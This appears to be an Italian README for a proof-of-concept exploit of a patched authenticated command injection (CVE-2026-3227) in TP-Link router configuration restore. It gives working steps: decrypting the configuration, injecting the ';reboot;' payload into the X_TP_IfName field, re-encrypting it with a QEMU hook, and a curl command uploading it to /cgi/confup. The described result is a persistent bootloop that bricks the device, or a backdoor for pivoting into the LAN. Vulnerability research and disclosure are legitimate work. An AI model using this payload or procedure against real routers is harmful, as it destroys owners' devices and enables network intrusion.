
Proof-of-concept per l'iniezione di comandi OS autenticata nel firmware dei router TP-Link. Include decrittazione, hook di crittografia basato su QEMU e generazione di payload a 15 caratteri per bootloop persistente o distribuzione di backdoor.
Per maggiori informazioni, vedere https://www.cve.org/CVERecord?id=CVE-2026-3227
Una vulnerabilità persistente e autenticata di iniezione di comandi OS nel firmware dei router TP-Link che può causare il bricking del dispositivo o una potenziale compromissione della LAN.
Disclaimer: Questo repository contiene codice proof-of-concept (PoC) per una vulnerabilità già corretta. È destinato a scopi educativi e ai ricercatori di sicurezza.
Una vulnerabilità di iniezione di comandi esiste nel meccanismo di backup/ripristino della configurazione di diversi router TP-Link (inclusi TL-WR802N, TL-WR841N e TL-WR840N). Un attaccante con accesso amministrativo può scaricare la configurazione del router, decifrarla, iniettare un comando OS dannoso (fino a 15 caratteri) in specifici campi XML, ri-cifrarla e caricarla nuovamente sul dispositivo.
Quando il router applica la configurazione (ad esempio durante eventi di port trigger o all'avvio), il payload iniettato viene eseguito come root. Questo può essere usato per causare un bootloop persistente (brickando permanentemente il dispositivo, sopravvivendo ai reset di fabbrica) o potenzialmente abilitare una backdoor persistente per il pivoting sulla LAN.
Durante l'esplorazione della funzionalità di backup della configurazione del router, ho deciso di fare reverse-engineering del binario httpd e della libreria libcmm.so per capire come i file di configurazione vengono cifrati e analizzati.
qemu-user e ho agganciato a runtime il binario httpd originale del router (create_config.c). Questo mi ha permesso di invocare le funzioni di cifratura native del router direttamente dal mio PoC Python, imitando perfettamente il formato di cifratura originale.La vulnerabilità risiede nel modo in cui il prodotto analizza il blob di configurazione cifrato e lo applica a runtime. Nel percorso di configurazione del port triggering, l'implementazione costruisce comandi shell utilizzando campi controllabili dall'utente senza una corretta sanificazione.
Nello specifico, la funzione oal_pt_addPortTrigger chiama:
util_execSystem("oal_pt_addPortTrigger",
"iptables -A FORWARD_PT -i br+ -p %s -j TRIGGER --trigger-type out --trigger-proto %s --trigger-match %d-%d --trigger-relate %d-%d",
&local_48, &local_44, *(undefined4 *)(param_2+4), *(undefined4 *)(param_2+4), *psVar3, psVar3[1]);
La stringa di formato %s viene popolata con una stringa di interfaccia (X_TP_IfName) analizzata direttamente dalla configurazione XML caricata.
Il flusso di esecuzione:
http_cgi_gdpr_main -> rdp_setObj -> rsl_setObj -> oal_pt_addPortTriggeroal_pt_addPortTrigger chiama forward_parsePtOpenPort per analizzare le liste delle porte.iptables e la esegue tramite util_execSystem (che incapsula system()).Modificando l'XML decifrato per includere:
<X_TP_IfName val=";reboot;"/>
Il comando viene eseguito durante l'inizializzazione dell'interfaccia all'avvio o quando si verifica un evento di port trigger. Poiché il payload è limitato a 15 caratteri, la creazione dell'exploit richiede tecniche compatte di esecuzione dei comandi.
Per evitare di distribuire binari TP-Link protetti da copyright, questo PoC richiede di estrarre da soli il file system del router per utilizzare le librerie di cifratura native tramite un hook QEMU personalizzato.
qemu-mipsel e un cross-compilatore (gcc-mipsel-linux-gnu)pip install pycryptodome)binwalk -Me <firmware.bin>squashfs-root in 'python_utils/' di questo progetto.mipsel-linux-gnu-gcc -shared -fPIC -g -O0 c_hook/create_config.c -o python_utils/create_config.so
config.bin).python3 generate_payload.py -i config.bin -o exploit.bin -p ";reboot;"
Nota: il payload non deve superare i 15 caratteri.curl -X POST "http://192.168.0.1/cgi/confup" \
-H "User-Agent: Mozilla/5.0" \
-H "Referer: http://192.168.0.1/mainFrame.htm" \
-H "Origin: http://192.168.0.1" \
-H "Cookie: JSESSIONID=<JSESSIONID_COOKIE>" \
-F "[email protected];type=application/octet-stream"
root. Se si usa ;reboot;, il router si riavvierà immediatamente e entrerà in un bootloop persistente.